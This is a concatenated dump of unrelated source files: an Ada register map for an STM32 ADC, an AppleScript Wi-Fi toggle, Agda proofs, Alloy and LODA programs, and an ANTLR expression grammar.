subtype CR1_DISCNUM_Field is STM32_SVD.UInt3;
subtype CR1_JAWDEN_Field is STM32_SVD.Bit;
subtype CR1_AWDEN_Field is STM32_SVD.Bit;
subtype CR1_RES_Field is STM32_SVD.UInt2;
subtype CR1_OVRIE_Field is STM32_SVD.Bit;
-- control register 1
type CR1_Register is record
-- Analog watchdog channel select bits
AWDCH : CR1_AWDCH_Field := 16#0#;
-- Interrupt enable for EOC
EOCIE : CR1_EOCIE_Field := 16#0#;
-- Analog watchdog interrupt enable
AWDIE : CR1_AWDIE_Field := 16#0#;
-- Interrupt enable for injected channels
JEOCIE : CR1_JEOCIE_Field := 16#0#;
-- Scan mode
SCAN : CR1_SCAN_Field := 16#0#;
-- Enable the watchdog on a single channel in scan mode
AWDSGL : CR1_AWDSGL_Field := 16#0#;
-- Automatic injected group conversion
JAUTO : CR1_JAUTO_Field := 16#0#;
-- Discontinuous mode on regular channels
DISCEN : CR1_DISCEN_Field := 16#0#;
-- Discontinuous mode on injected channels
JDISCEN : CR1_JDISCEN_Field := 16#0#;
-- Discontinuous mode channel count
DISCNUM : CR1_DISCNUM_Field := 16#0#;
-- unspecified
Reserved_16_21 : STM32_SVD.UInt6 := 16#0#;
-- Analog watchdog enable on injected channels
JAWDEN : CR1_JAWDEN_Field := 16#0#;
-- Analog watchdog enable on regular channels
AWDEN : CR1_AWDEN_Field := 16#0#;
-- Resolution
RES : CR1_RES_Field := 16#0#;
-- Overrun interrupt enable
OVRIE : CR1_OVRIE_Field := 16#0#;
-- unspecified
Reserved_27_31 : STM32_SVD.UInt5 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for CR1_Register use record
AWDCH at 0 range 0 .. 4;
EOCIE at 0 range 5 .. 5;
AWDIE at 0 range 6 .. 6;
JEOCIE at 0 range 7 .. 7;
SCAN at 0 range 8 .. 8;
AWDSGL at 0 range 9 .. 9;
JAUTO at 0 range 10 .. 10;
DISCEN at 0 range 11 .. 11;
JDISCEN at 0 range 12 .. 12;
DISCNUM at 0 range 13 .. 15;
Reserved_16_21 at 0 range 16 .. 21;
JAWDEN at 0 range 22 .. 22;
AWDEN at 0 range 23 .. 23;
RES at 0 range 24 .. 25;
OVRIE at 0 range 26 .. 26;
Reserved_27_31 at 0 range 27 .. 31;
end record;
subtype CR2_ADON_Field is STM32_SVD.Bit;
subtype CR2_CONT_Field is STM32_SVD.Bit;
subtype CR2_DMA_Field is STM32_SVD.Bit;
subtype CR2_DDS_Field is STM32_SVD.Bit;
subtype CR2_EOCS_Field is STM32_SVD.Bit;
subtype CR2_ALIGN_Field is STM32_SVD.Bit;
subtype CR2_JEXTSEL_Field is STM32_SVD.UInt4;
subtype CR2_JEXTEN_Field is STM32_SVD.UInt2;
subtype CR2_JSWSTART_Field is STM32_SVD.Bit;
subtype CR2_EXTSEL_Field is STM32_SVD.UInt4;
subtype CR2_EXTEN_Field is STM32_SVD.UInt2;
subtype CR2_SWSTART_Field is STM32_SVD.Bit;
-- control register 2
type CR2_Register is record
-- A/D Converter ON / OFF
ADON : CR2_ADON_Field := 16#0#;
-- Continuous conversion
CONT : CR2_CONT_Field := 16#0#;
-- unspecified
Reserved_2_7 : STM32_SVD.UInt6 := 16#0#;
-- Direct memory access mode (for single ADC mode)
DMA : CR2_DMA_Field := 16#0#;
-- DMA disable selection (for single ADC mode)
DDS : CR2_DDS_Field := 16#0#;
-- End of conversion selection
EOCS : CR2_EOCS_Field := 16#0#;
-- Data alignment
ALIGN : CR2_ALIGN_Field := 16#0#;
-- unspecified
Reserved_12_15 : STM32_SVD.UInt4 := 16#0#;
-- External event select for injected group
JEXTSEL : CR2_JEXTSEL_Field := 16#0#;
-- External trigger enable for injected channels
JEXTEN : CR2_JEXTEN_Field := 16#0#;
-- Start conversion of injected channels
JSWSTART : CR2_JSWSTART_Field := 16#0#;
-- unspecified
Reserved_23_23 : STM32_SVD.Bit := 16#0#;
-- External event select for regular group
EXTSEL : CR2_EXTSEL_Field := 16#0#;
-- External trigger enable for regular channels
EXTEN : CR2_EXTEN_Field := 16#0#;
-- Start conversion of regular channels
SWSTART : CR2_SWSTART_Field := 16#0#;
-- unspecified
Reserved_31_31 : STM32_SVD.Bit := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for CR2_Register use record
ADON at 0 range 0 .. 0;
CONT at 0 range 1 .. 1;
Reserved_2_7 at 0 range 2 .. 7;
DMA at 0 range 8 .. 8;
DDS at 0 range 9 .. 9;
EOCS at 0 range 10 .. 10;
ALIGN at 0 range 11 .. 11;
Reserved_12_15 at 0 range 12 .. 15;
JEXTSEL at 0 range 16 .. 19;
JEXTEN at 0 range 20 .. 21;
JSWSTART at 0 range 22 .. 22;
Reserved_23_23 at 0 range 23 .. 23;
EXTSEL at 0 range 24 .. 27;
EXTEN at 0 range 28 .. 29;
SWSTART at 0 range 30 .. 30;
Reserved_31_31 at 0 range 31 .. 31;
end record;
subtype JOFR1_JOFFSET1_Field is STM32_SVD.UInt12;
-- injected channel data offset register x
type JOFR1_Register is record
-- Data offset for injected channel x
JOFFSET1 : JOFR1_JOFFSET1_Field := 16#0#;
-- unspecified
Reserved_12_31 : STM32_SVD.UInt20 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for JOFR1_Register use record
JOFFSET1 at 0 range 0 .. 11;
Reserved_12_31 at 0 range 12 .. 31;
end record;
subtype JOFR2_JOFFSET2_Field is STM32_SVD.UInt12;
-- injected channel data offset register x
type JOFR2_Register is record
-- Data offset for injected channel x
JOFFSET2 : JOFR2_JOFFSET2_Field := 16#0#;
-- unspecified
Reserved_12_31 : STM32_SVD.UInt20 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for JOFR2_Register use record
JOFFSET2 at 0 range 0 .. 11;
Reserved_12_31 at 0 range 12 .. 31;
end record;
subtype JOFR3_JOFFSET3_Field is STM32_SVD.UInt12;
-- injected channel data offset register x
type JOFR3_Register is record
-- Data offset for injected channel x
JOFFSET3 : JOFR3_JOFFSET3_Field := 16#0#;
-- unspecified
Reserved_12_31 : STM32_SVD.UInt20 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for JOFR3_Register use record
JOFFSET3 at 0 range 0 .. 11;
Reserved_12_31 at 0 range 12 .. 31;
end record;
subtype JOFR4_JOFFSET4_Field is STM32_SVD.UInt12;
-- injected channel data offset register x
type JOFR4_Register is record
-- Data offset for injected channel x
JOFFSET4 : JOFR4_JOFFSET4_Field := 16#0#;
-- unspecified
Reserved_12_31 : STM32_SVD.UInt20 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for JOFR4_Register use record
JOFFSET4 at 0 range 0 .. 11;
Reserved_12_31 at 0 range 12 .. 31;
end record;
subtype HTR_HT_Field is STM32_SVD.UInt12;
-- watchdog higher threshold register
type HTR_Register is record
-- Analog watchdog higher threshold
HT : HTR_HT_Field := 16#FFF#;
-- unspecified
Reserved_12_31 : STM32_SVD.UInt20 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for HTR_Register use record
HT at 0 range 0 .. 11;
Reserved_12_31 at 0 range 12 .. 31;
end record;
subtype LTR_LT_Field is STM32_SVD.UInt12;
-- watchdog lower threshold register
type LTR_Register is record
-- Analog watchdog lower threshold
LT : LTR_LT_Field := 16#0#;
-- unspecified
Reserved_12_31 : STM32_SVD.UInt20 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for LTR_Register use record
LT at 0 range 0 .. 11;
Reserved_12_31 at 0 range 12 .. 31;
end record;
-- SQR1_SQ array element
subtype SQR1_SQ_Element is STM32_SVD.UInt5;
-- SQR1_SQ array
type SQR1_SQ_Field_Array is array (13 .. 16) of SQR1_SQ_Element
with Component_Size => 5, Size => 20;
-- Type definition for SQR1_SQ
type SQR1_SQ_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- SQ as a value
Val : STM32_SVD.UInt20;
when True =>
-- SQ as an array
Arr : SQR1_SQ_Field_Array;
end case;
end record
with Unchecked_Union, Size => 20;
for SQR1_SQ_Field use record
Val at 0 range 0 .. 19;
Arr at 0 range 0 .. 19;
end record;
subtype SQR1_L_Field is STM32_SVD.UInt4;
-- regular sequence register 1
type SQR1_Register is record
-- 13th conversion in regular sequence
SQ : SQR1_SQ_Field := (As_Array => False, Val => 16#0#);
-- Regular channel sequence length
L : SQR1_L_Field := 16#0#;
-- unspecified
Reserved_24_31 : STM32_SVD.Byte := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for SQR1_Register use record
SQ at 0 range 0 .. 19;
L at 0 range 20 .. 23;
Reserved_24_31 at 0 range 24 .. 31;
end record;
-- SQR2_SQ array element
subtype SQR2_SQ_Element is STM32_SVD.UInt5;
-- SQR2_SQ array
type SQR2_SQ_Field_Array is array (7 .. 12) of SQR2_SQ_Element
with Component_Size => 5, Size => 30;
-- Type definition for SQR2_SQ
type SQR2_SQ_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- SQ as a value
Val : STM32_SVD.UInt30;
when True =>
-- SQ as an array
Arr : SQR2_SQ_Field_Array;
end case;
end record
with Unchecked_Union, Size => 30;
for SQR2_SQ_Field use record
Val at 0 range 0 .. 29;
Arr at 0 range 0 .. 29;
end record;
-- regular sequence register 2
type SQR2_Register is record
-- 7th conversion in regular sequence
SQ : SQR2_SQ_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_30_31 : STM32_SVD.UInt2 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for SQR2_Register use record
SQ at 0 range 0 .. 29;
Reserved_30_31 at 0 range 30 .. 31;
end record;
-- SQR3_SQ array element
subtype SQR3_SQ_Element is STM32_SVD.UInt5;
-- SQR3_SQ array
type SQR3_SQ_Field_Array is array (1 .. 6) of SQR3_SQ_Element
with Component_Size => 5, Size => 30;
-- Type definition for SQR3_SQ
type SQR3_SQ_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- SQ as a value
Val : STM32_SVD.UInt30;
when True =>
-- SQ as an array
Arr : SQR3_SQ_Field_Array;
end case;
end record
with Unchecked_Union, Size => 30;
for SQR3_SQ_Field use record
Val at 0 range 0 .. 29;
Arr at 0 range 0 .. 29;
end record;
-- regular sequence register 3
type SQR3_Register is record
-- 1st conversion in regular sequence
SQ : SQR3_SQ_Field := (As_Array => False, Val => 16#0#);
-- unspecified
Reserved_30_31 : STM32_SVD.UInt2 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for SQR3_Register use record
SQ at 0 range 0 .. 29;
Reserved_30_31 at 0 range 30 .. 31;
end record;
-- JSQR_JSQ array element
subtype JSQR_JSQ_Element is STM32_SVD.UInt5;
-- JSQR_JSQ array
type JSQR_JSQ_Field_Array is array (1 .. 4) of JSQR_JSQ_Element
with Component_Size => 5, Size => 20;
-- Type definition for JSQR_JSQ
type JSQR_JSQ_Field
(As_Array : Boolean := False)
is record
case As_Array is
when False =>
-- JSQ as a value
Val : STM32_SVD.UInt20;
when True =>
-- JSQ as an array
Arr : JSQR_JSQ_Field_Array;
end case;
end record
with Unchecked_Union, Size => 20;
for JSQR_JSQ_Field use record
Val at 0 range 0 .. 19;
Arr at 0 range 0 .. 19;
end record;
subtype JSQR_JL_Field is STM32_SVD.UInt2;
-- injected sequence register
type JSQR_Register is record
-- 1st conversion in injected sequence
JSQ : JSQR_JSQ_Field := (As_Array => False, Val => 16#0#);
-- Injected sequence length
JL : JSQR_JL_Field := 16#0#;
-- unspecified
Reserved_22_31 : STM32_SVD.UInt10 := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for JSQR_Register use record
JSQ at 0 range 0 .. 19;
JL at 0 range 20 .. 21;
Reserved_22_31 at 0 range 22 .. 31;
end record;
subtype JDR_JDATA_Field is STM32_SVD.UInt16;
-- injected data register x
type JDR_Register is record
-- Read-only. Injected data
JDATA : JDR_JDATA_Field;
-- unspecified
Reserved_16_31 : STM32_SVD.UInt16;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for JDR_Register use record
JDATA at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype DR_DATA_Field is STM32_SVD.UInt16;
-- regular data register
type DR_Register is record
-- Read-only. Regular data
DATA : DR_DATA_Field;
-- unspecified
Reserved_16_31 : STM32_SVD.UInt16;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for DR_Register use record
DATA at 0 range 0 .. 15;
Reserved_16_31 at 0 range 16 .. 31;
end record;
subtype CSR_AWD1_Field is STM32_SVD.Bit;
subtype CSR_EOC1_Field is STM32_SVD.Bit;
subtype CSR_JEOC1_Field is STM32_SVD.Bit;
subtype CSR_JSTRT1_Field is STM32_SVD.Bit;
subtype CSR_STRT1_Field is STM32_SVD.Bit;
subtype CSR_OVR1_Field is STM32_SVD.Bit;
subtype CSR_AWD2_Field is STM32_SVD.Bit;
subtype CSR_EOC2_Field is STM32_SVD.Bit;
subtype CSR_JEOC2_Field is STM32_SVD.Bit;
subtype CSR_JSTRT2_Field is STM32_SVD.Bit;
subtype CSR_STRT2_Field is STM32_SVD.Bit;
subtype CSR_OVR2_Field is STM32_SVD.Bit;
subtype CSR_AWD3_Field is STM32_SVD.Bit;
subtype CSR_EOC3_Field is STM32_SVD.Bit;
subtype CSR_JEOC3_Field is STM32_SVD.Bit;
subtype CSR_JSTRT3_Field is STM32_SVD.Bit;
subtype CSR_STRT3_Field is STM32_SVD.Bit;
subtype CSR_OVR3_Field is STM32_SVD.Bit;
-- ADC Common status register
type CSR_Register is record
-- Read-only. Analog watchdog flag of ADC 1
AWD1 : CSR_AWD1_Field;
-- Read-only. End of conversion of ADC 1
EOC1 : CSR_EOC1_Field;
-- Read-only. Injected channel end of conversion of ADC 1
JEOC1 : CSR_JEOC1_Field;
-- Read-only. Injected channel Start flag of ADC 1
JSTRT1 : CSR_JSTRT1_Field;
-- Read-only. Regular channel Start flag of ADC 1
STRT1 : CSR_STRT1_Field;
-- Read-only. Overrun flag of ADC 1
OVR1 : CSR_OVR1_Field;
-- unspecified
Reserved_6_7 : STM32_SVD.UInt2;
-- Read-only. Analog watchdog flag of ADC 2
AWD2 : CSR_AWD2_Field;
-- Read-only. End of conversion of ADC 2
EOC2 : CSR_EOC2_Field;
-- Read-only. Injected channel end of conversion of ADC 2
JEOC2 : CSR_JEOC2_Field;
-- Read-only. Injected channel Start flag of ADC 2
JSTRT2 : CSR_JSTRT2_Field;
-- Read-only. Regular channel Start flag of ADC 2
STRT2 : CSR_STRT2_Field;
-- Read-only. Overrun flag of ADC 2
OVR2 : CSR_OVR2_Field;
-- unspecified
Reserved_14_15 : STM32_SVD.UInt2;
-- Read-only. Analog watchdog flag of ADC 3
AWD3 : CSR_AWD3_Field;
-- Read-only. End of conversion of ADC 3
EOC3 : CSR_EOC3_Field;
-- Read-only. Injected channel end of conversion of ADC 3
JEOC3 : CSR_JEOC3_Field;
-- Read-only. Injected channel Start flag of ADC 3
JSTRT3 : CSR_JSTRT3_Field;
-- Read-only. Regular channel Start flag of ADC 3
STRT3 : CSR_STRT3_Field;
-- Read-only. Overrun flag of ADC3
OVR3 : CSR_OVR3_Field;
-- unspecified
Reserved_22_31 : STM32_SVD.UInt10;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for CSR_Register use record
AWD1 at 0 range 0 .. 0;
EOC1 at 0 range 1 .. 1;
JEOC1 at 0 range 2 .. 2;
JSTRT1 at 0 range 3 .. 3;
STRT1 at 0 range 4 .. 4;
OVR1 at 0 range 5 .. 5;
Reserved_6_7 at 0 range 6 .. 7;
AWD2 at 0 range 8 .. 8;
EOC2 at 0 range 9 .. 9;
JEOC2 at 0 range 10 .. 10;
JSTRT2 at 0 range 11 .. 11;
STRT2 at 0 range 12 .. 12;
OVR2 at 0 range 13 .. 13;
Reserved_14_15 at 0 range 14 .. 15;
AWD3 at 0 range 16 .. 16;
EOC3 at 0 range 17 .. 17;
JEOC3 at 0 range 18 .. 18;
JSTRT3 at 0 range 19 .. 19;
STRT3 at 0 range 20 .. 20;
OVR3 at 0 range 21 .. 21;
Reserved_22_31 at 0 range 22 .. 31;
end record;
subtype CCR_DELAY_Field is STM32_SVD.UInt4;
subtype CCR_DDS_Field is STM32_SVD.Bit;
subtype CCR_DMA_Field is STM32_SVD.UInt2;
subtype CCR_ADCPRE_Field is STM32_SVD.UInt2;
subtype CCR_VBATE_Field is STM32_SVD.Bit;
subtype CCR_TSVREFE_Field is STM32_SVD.Bit;
-- ADC common control register
type CCR_Register is record
-- unspecified
Reserved_0_7 : STM32_SVD.Byte := 16#0#;
-- Delay between 2 sampling phases
DELAY_k : CCR_DELAY_Field := 16#0#;
-- unspecified
Reserved_12_12 : STM32_SVD.Bit := 16#0#;
-- DMA disable selection for multi-ADC mode
DDS : CCR_DDS_Field := 16#0#;
-- Direct memory access mode for multi ADC mode
DMA : CCR_DMA_Field := 16#0#;
-- ADC prescaler
ADCPRE : CCR_ADCPRE_Field := 16#0#;
-- unspecified
Reserved_18_21 : STM32_SVD.UInt4 := 16#0#;
-- VBAT enable
VBATE : CCR_VBATE_Field := 16#0#;
-- Temperature sensor and VREFINT enable
TSVREFE : CCR_TSVREFE_Field := 16#0#;
-- unspecified
Reserved_24_31 : STM32_SVD.Byte := 16#0#;
end record
with Volatile_Full_Access, Size => 32,
Bit_Order => System.Low_Order_First;
for CCR_Register use record
Reserved_0_7 at 0 range 0 .. 7;
DELAY_k at 0 range 8 .. 11;
Reserved_12_12 at 0 range 12 .. 12;
DDS at 0 range 13 .. 13;
DMA at 0 range 14 .. 15;
ADCPRE at 0 range 16 .. 17;
Reserved_18_21 at 0 range 18 .. 21;
VBATE at 0 range 22 .. 22;
TSVREFE at 0 range 23 .. 23;
Reserved_24_31 at 0 range 24 .. 31;
end record;
-----------------
-- Peripherals --
-----------------
-- Analog-to-digital converter
type ADC1_Peripheral is record
-- status register
SR : aliased SR_Register;
-- control register 1
CR1 : aliased CR1_Register;
-- control register 2
CR2 : aliased CR2_Register;
-- sample time register 1
SMPR1 : aliased STM32_SVD.UInt32;
-- sample time register 2
SMPR2 : aliased STM32_SVD.UInt32;
-- injected channel data offset register x
JOFR1 : aliased JOFR1_Register;
-- injected channel data offset register x
JOFR2 : aliased JOFR2_Register;
-- injected channel data offset register x
JOFR3 : aliased JOFR3_Register;
-- injected channel data offset register x
JOFR4 : aliased JOFR4_Register;
-- watchdog higher threshold register
HTR : aliased HTR_Register;
-- watchdog lower threshold register
LTR : aliased LTR_Register;
-- regular sequence register 1
SQR1 : aliased SQR1_Register;
-- regular sequence register 2
SQR2 : aliased SQR2_Register;
-- regular sequence register 3
SQR3 : aliased SQR3_Register;
-- injected sequence register
JSQR : aliased JSQR_Register;
-- injected data register x
JDR1 : aliased JDR_Register;
-- injected data register x
JDR2 : aliased JDR_Register;
-- injected data register x
JDR3 : aliased JDR_Register;
-- injected data register x
JDR4 : aliased JDR_Register;
-- regular data register
DR : aliased DR_Register;
end record
with Volatile;
for ADC1_Peripheral use record
SR at 16#0# range 0 .. 31;
CR1 at 16#4# range 0 .. 31;
CR2 at 16#8# range 0 .. 31;
SMPR1 at 16#C# range 0 .. 31;
SMPR2 at 16#10# range 0 .. 31;
JOFR1 at 16#14# range 0 .. 31;
JOFR2 at 16#18# range 0 .. 31;
JOFR3 at 16#1C# range 0 .. 31;
JOFR4 at 16#20# range 0 .. 31;
HTR at 16#24# range 0 .. 31;
LTR at 16#28# range 0 .. 31;
SQR1 at 16#2C# range 0 .. 31;
SQR2 at 16#30# range 0 .. 31;
SQR3 at 16#34# range 0 .. 31;
JSQR at 16#38# range 0 .. 31;
JDR1 at 16#3C# range 0 .. 31;
JDR2 at 16#40# range 0 .. 31;
JDR3 at 16#44# range 0 .. 31;
JDR4 at 16#48# range 0 .. 31;
DR at 16#4C# range 0 .. 31;
end record;
-- Analog-to-digital converter
ADC1_Periph : aliased ADC1_Peripheral
with Import, Address => System'To_Address (16#40012000#);
-- ADC common registers
type ADC_Common_Peripheral is record
-- ADC Common status register
CSR : aliased CSR_Register;
-- ADC common control register
CCR : aliased CCR_Register;
end record
with Volatile;
for ADC_Common_Peripheral use record
CSR at 16#0# range 0 .. 31;
CCR at 16#4# range 0 .. 31;
end record;
-- ADC common registers
ADC_Common_Periph : aliased ADC_Common_Peripheral
with Import, Address => System'To_Address (16#40012300#);
end STM32_SVD.ADC;
|
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_iy/dcallee2.asm | meesokim/z88dk | 0 | 15020 | <filename>libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_iy/dcallee2.asm<gh_stars>0
SECTION code_fp_math48
PUBLIC dcallee2
EXTERN cm48_sdcciyp_dcallee2
defc dcallee2 = cm48_sdcciyp_dcallee2
|
misc/Lib/switch_wifi.applescript | kinshuk4/evernote-automation | 4 | 219 | on run {flag}
tell application "System Events" to tell process "SystemUIServer"
set wifi_menu to (first menu bar item whose description contains "Wi-Fi") of menu bar 1
if flag = true then
if description of wifi_menu contains "not enabled" then
do shell script "networksetup -setairportpower en0 on"
end if
else if flag = false then
if not (description of wifi_menu contains "not enabled") then
do shell script "networksetup -setairportpower en0 off"
end if
else
return "error?"
end if
return true
end tell
end run |
test/Fail/Issue1886-wrong-name.agda | alhassy/agda | 3 | 1443 | -- Andreas, 2016-12-30, issue #1886, reported by nad
--
-- Change of parameter names is an error.
-- Reason: the parameter names become names of hidden arguments
-- in the constructors. There should be no ambiguity.
data D (X : Set) : Set
data D (Y : Set) where
c : Y โ D Y
|
src/Categories/Object/Coproduct.agda | FintanH/agda-categories | 0 | 17220 | <reponame>FintanH/agda-categories<filename>src/Categories/Object/Coproduct.agda
{-# OPTIONS --without-K --safe #-}
open import Categories.Category
module Categories.Object.Coproduct {o โ e} (๐ : Category o โ e) where
open import Level
open import Function using (_$_)
open Category ๐
open import Categories.Morphism.Reasoning ๐
open import Categories.Morphism ๐
open HomReasoning
private
variable
A B C D : Obj
f g h : A โ B
record Coproduct (A B : Obj) : Set (o โ โ โ e) where
infix 10 [_,_]
field
A+B : Obj
iโ : A โ A+B
iโ : B โ A+B
[_,_] : A โ C โ B โ C โ A+B โ C
injectโ : [ f , g ] โ iโ โ f
injectโ : [ f , g ] โ iโ โ g
unique : h โ iโ โ f โ h โ iโ โ g โ [ f , g ] โ h
g-ฮท : [ f โ iโ , f โ iโ ] โ f
g-ฮท = unique Equiv.refl Equiv.refl
ฮท : [ iโ , iโ ] โ id
ฮท = unique identityหก identityหก
[]-congโ : โ {C} โ {f fโฒ : A โ C} {g gโฒ : B โ C} โ f โ fโฒ โ g โ gโฒ โ [ f , g ] โ [ fโฒ , gโฒ ]
[]-congโ fโfโฒ gโgโฒ = unique (injectโ โ โบ fโfโฒ) (injectโ โ โบ gโgโฒ)
โ-distribหก-[] : โ {f : A โ C} {g : B โ C} {q : C โ D} โ q โ [ f , g ] โ [ q โ f , q โ g ]
โ-distribหก-[] = โบ $ unique (pullสณ injectโ) (pullสณ injectโ)
|
alloy/tp8/extraInmate.als | motapinto/feup-mfes | 0 | 2363 | <reponame>motapinto/feup-mfes
module exercises/prison
sig Gang {members: set Inmate}
sig Inmate {room: Cell}
sig Cell {}
//a
pred safe () {
all x, y : Inmate |
members.x != members.y => x.room != y.room}
//b
pred happy () {
all x, y : Gang.members | (x.room = y.room => one members.(x+y))
}
pred show (disj x,y,z: Inmate, disj g1, g2 : Gang) {
x in g1.members
y+z in g2.members
happy
safe
}
run show for 5 but exactly 2 Gang
//c. no one can be memer of two different gangs
fact{all disj g1, g2:Gang| no g1.members & g2.members}
//b
assert safeisappy{safe => happy}
check safeisappy for 6
|
src/sym5n.agda | shinji-kono/Galois | 1 | 3039 | <reponame>shinji-kono/Galois
open import Level hiding ( suc ; zero )
open import Algebra
module sym5n where
open import Symmetric
open import Data.Unit
open import Function.Inverse as Inverse using (_โ_; Inverse; _InverseOf_)
open import Function
open import Data.Nat hiding (_โ_) -- using (โ; suc; zero)
open import Relation.Nullary
open import Data.Empty
open import Data.Product
open import Gutil
open import Putil
open import Solvable using (solvable)
open import Relation.Binary.PropositionalEquality hiding ( [_] )
open import Data.Fin
open import Data.Fin.Permutation hiding (_โโ_)
infixr 200 _โโ_
_โโ_ = Data.Fin.Permutation._โโ_
-- open import IO
open import Data.String hiding (toList)
open import Data.Unit
open import Agda.Builtin.String
sym5solvable : (n : โ) โ String -- ยฌ solvable (Symmetric 5)
sym5solvable n = FListtoStr (CommFListN 5 n) where
open import Data.List using ( List ; [] ; _โท_ )
open Solvable (Symmetric 5)
open import FLutil
open import Data.List.Fresh hiding ([_])
open import Relation.Nary using (โ_โ)
p0id : FLโperm (zero :: zero :: zero :: (zero :: (zero :: f0))) =p= pid
p0id = pleq _ _ refl
open import Data.List.Fresh.Relation.Unary.Any
open import FLComm
stage4FList = CommFListN 5 0
stage6FList = CommFListN 5 3
-- stage5FList = {!!}
-- s2=s3 : CommFListN 5 2 โก CommFListN 5 3
-- s2=s3 = refl
FLtoStr : {n : โ} โ (x : FL n) โ String
FLtoStr f0 = "f0"
FLtoStr (x :: y) = primStringAppend ( primStringAppend (primShowNat (toโ x)) " :: " ) (FLtoStr y)
FListtoStr : {n : โ} โ (x : FList n) โ String
FListtoStr [] = ""
FListtoStr (cons a x xโ) = primStringAppend (FLtoStr a) (primStringAppend "\n" (FListtoStr x))
open import Codata.Musical.Notation
open import Data.Maybe hiding (_>>=_)
open import Data.List
open import Data.Char
open import IO.Primitive
open import Codata.Musical.Costring
postulate
getArgs : IO (List (List Char))
{-# FOREIGN GHC import qualified System.Environment #-}
{-# COMPILE GHC getArgs = System.Environment.getArgs #-}
charToDigit : Char โ Maybe โ
charToDigit '0' = just ( 0)
charToDigit '1' = just ( 1)
charToDigit '2' = just ( 2)
charToDigit '3' = just ( 3)
charToDigit '4' = just ( 4)
charToDigit '5' = just ( 5)
charToDigit '6' = just ( 6)
charToDigit '7' = just ( 7)
charToDigit '8' = just ( 8)
charToDigit '9' = just ( 9)
charToDigit _ = nothing
getNumArg1 : (List (List Char)) โ โ
getNumArg1 [] = 0
getNumArg1 ([] โท y) = 0
getNumArg1 ((x โท _) โท y) with charToDigit x
... | just n = n
... | nothing = 0
--
-- CommFListN 5 x is too slow use compiler
-- agda --compile sym5n.agda
--
main : IO โค
main = getArgs >>= (ฮป x โ putStrLn $ toCostring $ sym5solvable $ getNumArg1 x )
|
alloy4fun_models/trashltl/models/3/Xh6BwHbtNANEZMbgZ.als | Kaixi26/org.alloytools.alloy | 0 | 3389 | open main
pred idXh6BwHbtNANEZMbgZ_prop4 {
some f : File | eventually f in Trash
}
pred __repair { idXh6BwHbtNANEZMbgZ_prop4 }
check __repair { idXh6BwHbtNANEZMbgZ_prop4 <=> prop4o } |
oeis/140/A140824.asm | neoneye/loda-programs | 11 | 177841 | ; A140824: Expansion of (x-x^3)/(1-3*x+2*x^2-3*x^3+x^4).
; Submitted by <NAME>(s4)
; 0,1,3,6,15,41,108,281,735,1926,5043,13201,34560,90481,236883,620166,1623615,4250681,11128428,29134601,76275375,199691526,522799203,1368706081,3583319040,9381251041,24560434083,64300051206,168339719535,440719107401,1153817602668,3020733700601,7908383499135,20704416796806,54204866891283,141910183877041,371525684739840,972666870342481,2546474926287603,6666757908520326,17453798799273375,45694638489299801,119630116668626028,313195711516578281,819957017881108815,2146675342126748166
mov $10,$0
mov $12,2
lpb $12
mov $0,$10
sub $0,1
mov $6,$0
mov $8,2
sub $12,2
lpb $8
mov $0,$6
mov $3,0
sub $8,1
add $0,$8
sub $0,1
mov $2,$0
mov $4,2
lpb $4
mov $0,$2
sub $4,1
add $0,$4
max $0,0
seq $0,48575 ; Pisot sequences L(2,5), E(2,5).
div $0,3
mov $5,$4
mul $5,$0
add $3,$5
mov $11,$0
lpe
min $2,1
mul $2,$11
sub $6,1
mov $9,$8
mov $11,$3
sub $11,$2
mul $9,$11
add $7,$9
lpe
mov $6,$11
mov $11,$7
sub $11,$6
lpe
mov $0,$11
|
hdes-dialect/hdes-ast/src/main/antlr4/imports/ExpressionParser.g4 | the-wrench-io/hdes-parent | 1 | 1369 | parser grammar ExpressionParser;
options { tokenVocab = HdesLexer; }
literal
: IntegerLiteral
| DecimalLiteral
| BooleanLiteral
| StringLiteral;
placeholderRule: Placeholder;
placeholderTypeName: placeholderRule | simpleTypeName;
simpleTypeName: Identifier;
typeName: placeholderTypeName | typeName '.' placeholderTypeName;
methodName: simpleTypeName;
// method invocation
methodInvocation
: staticMethod
| instanceMethod
| mappingMethod;
staticMethod: StaticMethod '(' methodArgs? ')';
instanceMethod: methodName '(' methodArgs? ')' ('.' instanceMethodChild)?;
instanceMethodChild: mappingMethod | typeName;
mappingMethod: typeName '.' mapMethod ('.' mappingMethodChild)?;
mappingMethodChild: mappingMethod | mapMethod;
mapMethod: MAP '(' lambdaExpression ')' ('.' filterMethod)* ('.' sortMethod)* ('.' findFirstMethod)?;
filterMethod: FILTER '(' lambdaExpression ')';
sortMethod: SORT '(' lambdaExpression (',' ASC | DESC)? ')';
findFirstMethod: FIND_FIRST '(' ')';
methodArgs: methodArg (',' methodArg)*;
methodArg: expression;
primary
: literal
| typeName
| '(' expression ')'
| methodInvocation;
// final output
expressionUnit: expression;
// expressions
